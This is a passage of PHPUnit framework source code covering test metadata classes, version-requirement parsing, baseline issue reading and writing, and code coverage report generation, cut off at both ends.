@no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class RunTestsInSeparateProcesses extends Metadata { /** * @psalm-assert-if-true RunTestsInSeparateProcesses $this */ public function isRunTestsInSeparateProcesses(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Test extends Metadata { /** * @psalm-assert-if-true Test $this */ public function isTest(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class TestDox extends Metadata { /** * @psalm-var non-empty-string */ private readonly string $text; /** * @psalm-param 0|1 $level * @psalm-param non-empty-string $text */ protected function __construct(int $level, string $text) { parent::__construct($level); $this->text = $text; } /** * @psalm-assert-if-true TestDox $this */ public function isTestDox(): bool { return true; } /** * @psalm-return non-empty-string */ public function text(): string { return $this->text; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class TestWith extends Metadata { private readonly mixed $data; /** * @psalm-param 0|1 $level */ protected function __construct(int $level, mixed $data) { parent::__construct($level); $this->data = $data; } /** * @psalm-assert-if-true TestWith $this */ public function isTestWith(): bool { return true; } public function data(): mixed { return $this->data; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Uses extends Metadata { /** * @psalm-var non-empty-string */ private readonly string $target; /** * @psalm-param 0|1 $level * @psalm-param non-empty-string $target */ protected function __construct(int $level, string $target) { parent::__construct($level); $this->target = $target; } /** * @psalm-assert-if-true Uses $this */ public function isUses(): bool { return true; } /** * @psalm-return non-empty-string */ public function target(): string { return $this->target; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class UsesClass extends Metadata { /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-param 0|1 $level * @psalm-param class-string $className */ protected function __construct(int $level, string $className) { parent::__construct($level); $this->className = $className; } /** * @psalm-assert-if-true UsesClass $this */ public function isUsesClass(): bool { return true; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } /** * @psalm-return class-string * * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function asStringForCodeUnitMapper(): string { return $this->className; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class UsesDefaultClass extends Metadata { /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-param 0|1 $level * @psalm-param class-string $className */ protected function __construct(int $level, string $className) { parent::__construct($level); $this->className = $className; } /** * @psalm-assert-if-true UsesDefaultClass $this */ public function isUsesDefaultClass(): bool { return true; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class UsesFunction extends Metadata { /** * @psalm-var non-empty-string */ private readonly string $functionName; /** * @psalm-param 0|1 $level * @psalm-param non-empty-string $functionName */ public function __construct(int $level, string $functionName) { parent::__construct($level); $this->functionName = $functionName; } /** * @psalm-assert-if-true UsesFunction $this */ public function isUsesFunction(): bool { return true; } /** * @psalm-return non-empty-string */ public function functionName(): string { return $this->functionName; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function asStringForCodeUnitMapper(): string { return '::' . $this->functionName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata\Version; use function version_compare; use PHPUnit\Util\VersionComparisonOperator; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class ComparisonRequirement extends Requirement { private readonly string $version; private readonly VersionComparisonOperator $operator; public function __construct(string $version, VersionComparisonOperator $operator) { $this->version = $version; $this->operator = $operator; } public function isSatisfiedBy(string $version): bool { return version_compare($version, $this->version, $this->operator->asString()); } public function asString(): string { return $this->operator->asString() . ' ' . $this->version; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata\Version; use function preg_replace; use PharIo\Version\Version; use PharIo\Version\VersionConstraint; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class ConstraintRequirement extends Requirement { private readonly VersionConstraint $constraint; public function __construct(VersionConstraint $constraint) { $this->constraint = $constraint; } /** * @psalm-suppress ImpureMethodCall */ public function isSatisfiedBy(string $version): bool { return $this->constraint->complies( new Version($this->sanitize($version)), ); } /** * @psalm-suppress ImpureMethodCall */ public function asString(): string { return $this->constraint->asString(); } private function sanitize(string $version): string { return preg_replace( '/^(\d+\.\d+(?:.\d+)?).*$/', '$1', $version, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata\Version; use function preg_match; use PharIo\Version\UnsupportedVersionConstraintException; use PharIo\Version\VersionConstraintParser; use PHPUnit\Metadata\InvalidVersionRequirementException; use PHPUnit\Util\InvalidVersionOperatorException; use PHPUnit\Util\VersionComparisonOperator; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ abstract class Requirement { private const VERSION_COMPARISON = '/(?P[<>=!]{0,2})\s*(?P[\d\.-]+(dev|(RC|alpha|beta)[\d\.])?)[ \t]*\r?$/m'; /** * @throws InvalidVersionOperatorException * @throws InvalidVersionRequirementException */ public static function from(string $versionRequirement): self { try { return new ConstraintRequirement( (new VersionConstraintParser)->parse( $versionRequirement, ), ); } catch (UnsupportedVersionConstraintException) { if (preg_match(self::VERSION_COMPARISON, $versionRequirement, $matches)) { return new ComparisonRequirement( $matches['version'], new VersionComparisonOperator( !empty($matches['operator']) ? $matches['operator'] : '>=', ), ); } } throw new InvalidVersionRequirementException; } abstract public function isSatisfiedBy(string $version): bool; abstract public function asString(): string; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class WithoutErrorHandler extends Metadata { /** * @psalm-assert-if-true WithoutErrorHandler $this */ public function isWithoutErrorHandler(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Baseline; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Baseline { public const VERSION = 1; /** * @psalm-var array>> */ private array $issues = []; public function add(Issue $issue): void { if (!isset($this->issues[$issue->file()])) { $this->issues[$issue->file()] = []; } if (!isset($this->issues[$issue->file()][$issue->line()])) { $this->issues[$issue->file()][$issue->line()] = []; } $this->issues[$issue->file()][$issue->line()][] = $issue; } public function has(Issue $issue): bool { if (!isset($this->issues[$issue->file()][$issue->line()])) { return false; } foreach ($this->issues[$issue->file()][$issue->line()] as $_issue) { if ($_issue->equals($issue)) { return true; } } return false; } /** * @psalm-return array>> */ public function groupedByFileAndLine(): array { return $this->issues; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Baseline; use PHPUnit\Runner\Exception; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class CannotLoadBaselineException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Baseline; use function sprintf; use PHPUnit\Runner\Exception; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class FileDoesNotHaveLineException extends RuntimeException implements Exception { public function __construct(string $file, int $line) { parent::__construct( sprintf( 'File "%s" does not have line %d', $file, $line, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Baseline; use PHPUnit\Event\EventFacadeIsSealedException; use PHPUnit\Event\Facade; use PHPUnit\Event\Test\DeprecationTriggered; use PHPUnit\Event\Test\NoticeTriggered; use PHPUnit\Event\Test\PhpDeprecationTriggered; use PHPUnit\Event\Test\PhpNoticeTriggered; use PHPUnit\Event\Test\PhpWarningTriggered; use PHPUnit\Event\Test\WarningTriggered; use PHPUnit\Event\UnknownSubscriberTypeException; use PHPUnit\Runner\FileDoesNotExistException; use PHPUnit\TextUI\Configuration\Source; use PHPUnit\TextUI\Configuration\SourceFilter; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Generator { private Baseline $baseline; private readonly Source $source; /** * @throws EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ public function __construct(Facade $facade, Source $source) { $facade->registerSubscribers( new TestTriggeredDeprecationSubscriber($this), new TestTriggeredNoticeSubscriber($this), new TestTriggeredPhpDeprecationSubscriber($this), new TestTriggeredPhpNoticeSubscriber($this), new TestTriggeredPhpWarningSubscriber($this), new TestTriggeredWarningSubscriber($this), ); $this->baseline = new Baseline; $this->source = $source; } public function baseline(): Baseline { return $this->baseline; } /** * @throws FileDoesNotExistException * @throws FileDoesNotHaveLineException */ public function testTriggeredIssue(DeprecationTriggered|NoticeTriggered|PhpDeprecationTriggered|PhpNoticeTriggered|PhpWarningTriggered|WarningTriggered $event): void { if ($event->wasSuppressed() && !$this->isSuppressionIgnored($event)) { return; } if ($this->restrict($event) && !SourceFilter::instance()->includes($event->file())) { return; } $this->baseline->add( Issue::from( $event->file(), $event->line(), null, $event->message(), ), ); } private function restrict(DeprecationTriggered|NoticeTriggered|PhpDeprecationTriggered|PhpNoticeTriggered|PhpWarningTriggered|WarningTriggered $event): bool { if ($event instanceof WarningTriggered || $event instanceof PhpWarningTriggered) { return $this->source->restrictWarnings(); } if ($event instanceof NoticeTriggered || $event instanceof PhpNoticeTriggered) { return $this->source->restrictNotices(); } return $this->source->restrictDeprecations(); } private function isSuppressionIgnored(DeprecationTriggered|NoticeTriggered|PhpDeprecationTriggered|PhpNoticeTriggered|PhpWarningTriggered|WarningTriggered $event): bool { if ($event instanceof WarningTriggered) { return $this->source->ignoreSuppressionOfWarnings(); } if ($event instanceof PhpWarningTriggered) { return $this->source->ignoreSuppressionOfPhpWarnings(); } if ($event instanceof PhpNoticeTriggered) { return $this->source->ignoreSuppressionOfPhpNotices(); } if ($event instanceof NoticeTriggered) { return $this->source->ignoreSuppressionOfNotices(); } if ($event instanceof PhpDeprecationTriggered) { return $this->source->ignoreSuppressionOfPhpDeprecations(); } return $this->source->ignoreSuppressionOfDeprecations(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Baseline; use const FILE_IGNORE_NEW_LINES; use function assert; use function file; use function is_file; use function sha1; use PHPUnit\Runner\FileDoesNotExistException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Issue { /** * @psalm-var non-empty-string */ private readonly string $file; /** * @psalm-var positive-int */ private readonly int $line; /** * @psalm-var non-empty-string */ private readonly string $hash; /** * @psalm-var non-empty-string */ private readonly string $description; /** * @psalm-param non-empty-string $file * @psalm-param positive-int $line * @psalm-param ?non-empty-string $hash * @psalm-param non-empty-string $description * * @throws FileDoesNotExistException * @throws FileDoesNotHaveLineException */ public static function from(string $file, int $line, ?string $hash, string $description): self { if ($hash === null) { $hash = self::calculateHash($file, $line); } return new self($file, $line, $hash, $description); } /** * @psalm-param non-empty-string $file * @psalm-param positive-int $line * @psalm-param non-empty-string $hash * @psalm-param non-empty-string $description */ private function __construct(string $file, int $line, string $hash, string $description) { $this->file = $file; $this->line = $line; $this->hash = $hash; $this->description = $description; } /** * @psalm-return non-empty-string */ public function file(): string { return $this->file; } /** * @psalm-return positive-int */ public function line(): int { return $this->line; } /** * @psalm-return non-empty-string */ public function hash(): string { return $this->hash; } /** * @psalm-return non-empty-string */ public function description(): string { return $this->description; } public function equals(self $other): bool { return $this->file() === $other->file() && $this->line() === $other->line() && $this->hash() === $other->hash() && $this->description() === $other->description(); } /** * @psalm-param non-empty-string $file * @psalm-param positive-int $line * * @throws FileDoesNotExistException * @throws FileDoesNotHaveLineException * * @psalm-return non-empty-string */ private static function calculateHash(string $file, int $line): string { $lines = @file($file, FILE_IGNORE_NEW_LINES); if ($lines === false && !is_file($file)) { throw new FileDoesNotExistException($file); } $key = $line - 1; if (!isset($lines[$key])) { throw new FileDoesNotHaveLineException($file, $line); } $hash = sha1($lines[$key]); assert($hash !== ''); return $hash; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Baseline; use const DIRECTORY_SEPARATOR; use function assert; use function dirname; use function is_file; use function realpath; use function sprintf; use function str_replace; use function trim; use DOMElement; use DOMXPath; use PHPUnit\Util\Xml\Loader as XmlLoader; use PHPUnit\Util\Xml\XmlException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Reader { /** * @psalm-param non-empty-string $baselineFile * * @throws CannotLoadBaselineException */ public function read(string $baselineFile): Baseline { if (!is_file($baselineFile)) { throw new CannotLoadBaselineException( sprintf( 'Cannot read baseline %s, file does not exist', $baselineFile, ), ); } try { $document = (new XmlLoader)->loadFile($baselineFile); } catch (XmlException $e) { throw new CannotLoadBaselineException( sprintf( 'Cannot read baseline: %s', trim($e->getMessage()), ), ); } $version = (int) $document->documentElement->getAttribute('version'); if ($version !== Baseline::VERSION) { throw new CannotLoadBaselineException( sprintf( 'Cannot read baseline %s, version %d is not supported', $baselineFile, $version, ), ); } $baseline = new Baseline; $baselineDirectory = dirname(realpath($baselineFile)); $xpath = new DOMXPath($document); foreach ($xpath->query('file') as $fileElement) { assert($fileElement instanceof DOMElement); $file = $baselineDirectory . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $fileElement->getAttribute('path')); foreach ($xpath->query('line', $fileElement) as $lineElement) { assert($lineElement instanceof DOMElement); $line = (int) $lineElement->getAttribute('number'); $hash = $lineElement->getAttribute('hash'); foreach ($xpath->query('issue', $lineElement) as $issueElement) { assert($issueElement instanceof DOMElement); $description = $issueElement->textContent; assert($line > 0); assert(!empty($hash)); assert(!empty($description)); $baseline->add(Issue::from($file, $line, $hash, $description)); } } } return $baseline; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Baseline; use function array_fill; use function array_merge; use function array_slice; use function assert; use function count; use function explode; use function implode; use function str_replace; use function strpos; use function substr; use function trim; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @see Copied from https://github.com/phpstan/phpstan-src/blob/1.10.33/src/File/ParentDirectoryRelativePathHelper.php */ final class RelativePathCalculator { /** * @psalm-var non-empty-string $baselineDirectory */ private readonly string $baselineDirectory; /** * @psalm-param non-empty-string $baselineDirectory */ public function __construct(string $baselineDirectory) { $this->baselineDirectory = $baselineDirectory; } /** * @psalm-param non-empty-string $filename * * @psalm-return non-empty-string */ public function calculate(string $filename): string { $result = implode('/', $this->parts($filename)); assert($result !== ''); return $result; } /** * @psalm-param non-empty-string $filename * * @psalm-return list */ public function parts(string $filename): array { $schemePosition = strpos($filename, '://'); if ($schemePosition !== false) { $filename = substr($filename, $schemePosition + 3); assert($filename !== ''); } $parentParts = explode('/', trim(str_replace('\\', '/', $this->baselineDirectory), '/')); $parentPartsCount = count($parentParts); $filenameParts = explode('/', trim(str_replace('\\', '/', $filename), '/')); $filenamePartsCount = count($filenameParts); $i = 0; for (; $i < $filenamePartsCount; $i++) { if ($parentPartsCount < $i + 1) { break; } $parentPath = implode('/', array_slice($parentParts, 0, $i + 1)); $filenamePath = implode('/', array_slice($filenameParts, 0, $i + 1)); if ($parentPath !== $filenamePath) { break; } } if ($i === 0) { return [$filename]; } $dotsCount = $parentPartsCount - $i; assert($dotsCount >= 0); return array_merge(array_fill(0, $dotsCount, '..'), array_slice($filenameParts, $i)); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Baseline; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ abstract class Subscriber { private readonly Generator $generator; public function __construct(Generator $generator) { $this->generator = $generator; } protected function generator(): Generator { return $this->generator; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Baseline; use PHPUnit\Event\Test\DeprecationTriggered; use PHPUnit\Event\Test\DeprecationTriggeredSubscriber; use PHPUnit\Runner\FileDoesNotExistException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredDeprecationSubscriber extends Subscriber implements DeprecationTriggeredSubscriber { /** * @throws FileDoesNotExistException * @throws FileDoesNotHaveLineException */ public function notify(DeprecationTriggered $event): void { $this->generator()->testTriggeredIssue($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Baseline; use PHPUnit\Event\Test\NoticeTriggered; use PHPUnit\Event\Test\NoticeTriggeredSubscriber; use PHPUnit\Runner\FileDoesNotExistException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredNoticeSubscriber extends Subscriber implements NoticeTriggeredSubscriber { /** * @throws FileDoesNotExistException * @throws FileDoesNotHaveLineException */ public function notify(NoticeTriggered $event): void { $this->generator()->testTriggeredIssue($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Baseline; use PHPUnit\Event\Test\PhpDeprecationTriggered; use PHPUnit\Event\Test\PhpDeprecationTriggeredSubscriber; use PHPUnit\Runner\FileDoesNotExistException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredPhpDeprecationSubscriber extends Subscriber implements PhpDeprecationTriggeredSubscriber { /** * @throws FileDoesNotExistException * @throws FileDoesNotHaveLineException */ public function notify(PhpDeprecationTriggered $event): void { $this->generator()->testTriggeredIssue($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Baseline; use PHPUnit\Event\Test\PhpNoticeTriggered; use PHPUnit\Event\Test\PhpNoticeTriggeredSubscriber; use PHPUnit\Runner\FileDoesNotExistException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredPhpNoticeSubscriber extends Subscriber implements PhpNoticeTriggeredSubscriber { /** * @throws FileDoesNotExistException * @throws FileDoesNotHaveLineException */ public function notify(PhpNoticeTriggered $event): void { $this->generator()->testTriggeredIssue($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Baseline; use PHPUnit\Event\Test\PhpWarningTriggered; use PHPUnit\Event\Test\PhpWarningTriggeredSubscriber; use PHPUnit\Runner\FileDoesNotExistException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredPhpWarningSubscriber extends Subscriber implements PhpWarningTriggeredSubscriber { /** * @throws FileDoesNotExistException * @throws FileDoesNotHaveLineException */ public function notify(PhpWarningTriggered $event): void { $this->generator()->testTriggeredIssue($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Baseline; use PHPUnit\Event\Test\WarningTriggered; use PHPUnit\Event\Test\WarningTriggeredSubscriber; use PHPUnit\Runner\FileDoesNotExistException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredWarningSubscriber extends Subscriber implements WarningTriggeredSubscriber { /** * @throws FileDoesNotExistException * @throws FileDoesNotHaveLineException */ public function notify(WarningTriggered $event): void { $this->generator()->testTriggeredIssue($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Baseline; use function assert; use function dirname; use function file_put_contents; use XMLWriter; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Writer { /** * @psalm-param non-empty-string $baselineFile */ public function write(string $baselineFile, Baseline $baseline): void { $pathCalculator = new RelativePathCalculator(dirname($baselineFile)); $writer = new XMLWriter; $writer->openMemory(); $writer->setIndent(true); $writer->startDocument(); $writer->startElement('files'); $writer->writeAttribute('version', (string) Baseline::VERSION); foreach ($baseline->groupedByFileAndLine() as $file => $lines) { assert(!empty($file)); $writer->startElement('file'); $writer->writeAttribute('path', $pathCalculator->calculate($file)); foreach ($lines as $line => $issues) { $writer->startElement('line'); $writer->writeAttribute('number', (string) $line); $writer->writeAttribute('hash', $issues[0]->hash()); foreach ($issues as $issue) { $writer->startElement('issue'); $writer->writeCData($issue->description()); $writer->endElement(); } $writer->endElement(); } $writer->endElement(); } $writer->endElement(); file_put_contents($baselineFile, $writer->outputMemory()); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; use function file_put_contents; use function sprintf; use PHPUnit\Event\Facade as EventFacade; use PHPUnit\Event\TestData\MoreThanOneDataSetFromDataProviderException; use PHPUnit\Framework\TestCase; use PHPUnit\TextUI\Configuration\CodeCoverageFilterRegistry; use PHPUnit\TextUI\Configuration\Configuration; use PHPUnit\TextUI\Output\Printer; use SebastianBergmann\CodeCoverage\Driver\Driver; use SebastianBergmann\CodeCoverage\Driver\Selector; use SebastianBergmann\CodeCoverage\Exception as CodeCoverageException; use SebastianBergmann\CodeCoverage\Filter; use SebastianBergmann\CodeCoverage\Report\Clover as CloverReport; use SebastianBergmann\CodeCoverage\Report\Cobertura as CoberturaReport; use SebastianBergmann\CodeCoverage\Report\Crap4j as Crap4jReport; use SebastianBergmann\CodeCoverage\Report\Html\Colors; use SebastianBergmann\CodeCoverage\Report\Html\CustomCssFile; use SebastianBergmann\CodeCoverage\Report\Html\Facade as HtmlReport; use SebastianBergmann\CodeCoverage\Report\PHP as PhpReport; use SebastianBergmann\CodeCoverage\Report\Text as TextReport; use SebastianBergmann\CodeCoverage\Report\Thresholds; use SebastianBergmann\CodeCoverage\Report\Xml\Facade as XmlReport; use SebastianBergmann\CodeCoverage\Test\TestSize\TestSize; use SebastianBergmann\CodeCoverage\Test\TestStatus\TestStatus; use SebastianBergmann\Comparator\Comparator; use SebastianBergmann\Timer\NoActiveTimerException; use SebastianBergmann\Timer\Timer; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @codeCoverageIgnore */ final class CodeCoverage { private static ?self $instance = null; private ?\SebastianBergmann\CodeCoverage\CodeCoverage $codeCoverage = null; private ?Driver $driver = null; private bool $collecting = false; private ?TestCase $test = null; private ?Timer $timer = null; /** * @psalm-var array> */ private array $linesToBeIgnored = []; public static function instance(): self { if (self::$instance === null) { self::$instance = new self; } return self::$instance; } public function init(Configuration $configuration, CodeCoverageFilterRegistry $codeCoverageFilterRegistry, bool $extensionRequiresCodeCoverageCollection): void { $codeCoverageFilterRegistry->init($configuration); if (!$configuration->hasCoverageReport() && !$extensionRequiresCodeCoverageCollection) { return; } $this->activate($codeCoverageFilterRegistry->get(), $configuration->pathCoverage()); if (!$this->isActive()) { return; } if ($configuration->hasCoverageCacheDirectory()) { $this->codeCoverage()->cacheStaticAnalysis($configuration->coverageCacheDirectory()); } $this->codeCoverage()->excludeSubclassesOfThisClassFromUnintentionallyCoveredCodeCheck(Comparator::class); if ($configuration->strictCoverage()) { $this->codeCoverage()->enableCheckForUnintentionallyCoveredCode(); } if ($configuration->ignoreDeprecatedCodeUnitsFromCodeCoverage()) { $this->codeCoverage()->ignoreDeprecatedCode(); } else { $this->codeCoverage()->doNotIgnoreDeprecatedCode(); } if ($configuration->disableCodeCoverageIgnore()) { $this->codeCoverage()->disableAnnotationsForIgnoringCode(); } else { $this->codeCoverage()->enableAnnotationsForIgnoringCode(); } if ($configuration->includeUncoveredFiles()) { $this->codeCoverage()->includeUncoveredFiles(); } else { $this->codeCoverage()->excludeUncoveredFiles(); } if ($codeCoverageFilterRegistry->get()->isEmpty()) { if (!$codeCoverageFilterRegistry->configured()) { EventFacade::emitter()->testRunnerTriggeredPhpunitWarning( 'No filter is configured, code coverage will not be processed', ); } else { EventFacade::emitter()->testRunnerTriggeredPhpunitWarning( 'Incorrect filter configuration, code coverage will not be processed', ); } $this->deactivate(); } } /** * @psalm-assert-if-true !null $this->instance */ public function isActive(): bool { return $this->codeCoverage !== null; } public function codeCoverage(): \SebastianBergmann\CodeCoverage\CodeCoverage { return $this->codeCoverage; } public function driver(): Driver { return $this->driver; } /** * @throws MoreThanOneDataSetFromDataProviderException */ public function start(TestCase $test): void { if ($this->collecting) { return; } $size = TestSize::unknown(); if ($test->size()->isSmall()) { $size = TestSize::small(); } elseif ($test->size()->isMedium()) { $size = TestSize::medium(); } elseif ($test->size()->isLarge()) { $size = TestSize::large(); } $this->test = $test; $this->codeCoverage->start( $test->valueObjectForEvents()->id(), $size, ); $this->collecting = true; } public function stop(bool $append, array|false $linesToBeCovered = [], array $linesToBeUsed = []): void { if (!$this->collecting) { return; } $status = TestStatus::unknown(); if ($this->test !== null) { if ($this->test->status()->isSuccess()) { $status = TestStatus::success(); } else { $status = TestStatus::failure(); } } /* @noinspection UnusedFunctionResultInspection */ $this->codeCoverage->stop($append, $status, $linesToBeCovered, $linesToBeUsed, $this->linesToBeIgnored); $this->test = null; $this->collecting = false; } public function deactivate(): void { $this->driver = null; $this->codeCoverage = null; $this->test = null; } public function generateReports(Printer $printer, Configuration $configuration): void { if (!$this->isActive()) { return; } if ($configuration->hasCoveragePhp()) { $this->codeCoverageGenerationStart($printer, 'PHP'); try { $writer = new PhpReport; $writer->process($this->codeCoverage(), $configuration->coveragePhp()); $this->codeCoverageGenerationSucceeded($printer); unset($writer); } catch (CodeCoverageException $e) { $this->codeCoverageGenerationFailed($printer, $e); } } if ($configuration->hasCoverageClover()) { $this->codeCoverageGenerationStart($printer, 'Clover XML'); try { $writer = new CloverReport; $writer->process($this->codeCoverage(), $configuration->coverageClover()); $this->codeCoverageGenerationSucceeded($printer); unset($writer); } catch (CodeCoverageException $e) { $this->codeCoverageGenerationFailed($printer, $e); } } if ($configuration->hasCoverageCobertura()) { $this->codeCoverageGenerationStart($printer, 'Cobertura XML'); try { $writer = new CoberturaReport; $writer->process($this->codeCoverage(), $configuration->coverageCobertura()); $this->codeCoverageGenerationSucceeded($printer); unset($writer); } catch (CodeCoverageException $e) { $this->codeCoverageGenerationFailed($printer, $e); } } if ($configuration->hasCoverageCrap4j()) { $this->codeCoverageGenerationStart($printer, 'Crap4J XML'); try { $writer = new Crap4jReport($configuration->coverageCrap4jThreshold()); $writer->process($this->codeCoverage(), $configuration->coverageCrap4j()); $this->codeCoverageGenerationSucceeded($printer); unset($writer); } catch (CodeCoverageException $e) { $this->codeCoverageGenerationFailed($printer, $e); } } if ($configuration->hasCoverageHtml()) { $this->codeCoverageGenerationStart($printer, 'HTML'); try { $customCssFile = CustomCssFile::default(); if ($configuration->hasCoverageHtmlCustomCssFile()) { $customCssFile = CustomCssFile::from($configuration->coverageHtmlCustomCssFile()); } $writer = new HtmlReport( sprintf( ' and PHPUnit %s', Version::id(), ), Colors::from( $configuration->coverageHtmlColorSuccessLow(), $configuration->coverageHtmlColorSuccessMedium(), $configuration->coverageHtmlColorSuccessHigh(), $configuration->coverageHtmlColorWarning(), $configuration->coverageHtmlColorDanger(), ), Thresholds::from( $configuration->coverageHtmlLowUpperBound(), $configuration->coverageHtmlHighLowerBound(), ), $customCssFile, ); $writer->process($this->codeCoverage(), $configuration->coverageHtml()); $this->codeCoverageGenerationSucceeded($printer); unset($writer); } catch (CodeCoverageException $e) { $this->codeCoverageGenerationFailed($printer, $e); } } if ($configuration->hasCoverageText()) { $processor = new TextReport( Thresholds::default(), $configuration->coverageTextShowUncoveredFiles(), $configuration->coverageTextShowOnlySummary(), ); $textReport = $processor->process($this->codeCoverage(), $configuration->colors()); if ($configuration->coverageText() === 'php://stdout') { if (!$configuration->noOutput() && !$configuration->debug()) { $printer->print($textReport); } } else { file_put_contents($configuration->coverageText(), $textReport); } } if ($configuration->hasCoverageXml()) { $this->codeCoverageGenerationStart($printer, 'PHPUnit XML'); try { $writer = new XmlReport(Version::id()); $writer->process($this->codeCoverage(), $configuration->coverageXml()); $this->codeCoverageGenerationSucceeded($printer); unset($writer); } catch (CodeCoverageException $e) { $this->codeCoverageGenerationFailed($printer, $e); } } } /** * @psalm-param array> $linesToBeIgnored */ public function ignoreLines(array 